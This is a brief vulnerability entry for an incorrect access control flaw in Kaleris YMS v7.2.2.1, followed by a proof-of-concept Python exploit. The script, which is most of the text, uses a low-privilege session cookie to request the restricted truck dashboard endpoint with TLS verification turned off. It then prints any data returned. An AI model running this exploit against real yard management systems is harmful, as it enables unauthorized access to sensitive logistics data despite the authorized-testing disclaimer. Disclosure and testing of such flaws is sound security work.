Incorrect access control in Kaleris YMS v7.2.2.1 allows authenticated attackers with only the shipping/receiving role to view the truck's dashboard resources.
The following code is for security research and authorized testing only.
python
import requests
# Target URL
url = "https://target-kaleris-yms.com/api/trucks/dashboard"
# Simulated session cookie for a low-privilege user (shipping/receiving role)
cookies = {
"JSESSIONID": "low_priv_user_session_id_here"
}
# Headers to mimic a browser
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}
try:
# Send GET request to the restricted dashboard endpoint
response = requests.get(url, headers=headers, cookies=cookies, verify=False)
# Check if the request was successful and if sensitive data is returned
if response.status_code == 200:
print("[+] Vulnerability Exploited Successfully!")
print("[+] Sensitive Dashboard Data:")
print(response.text)
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")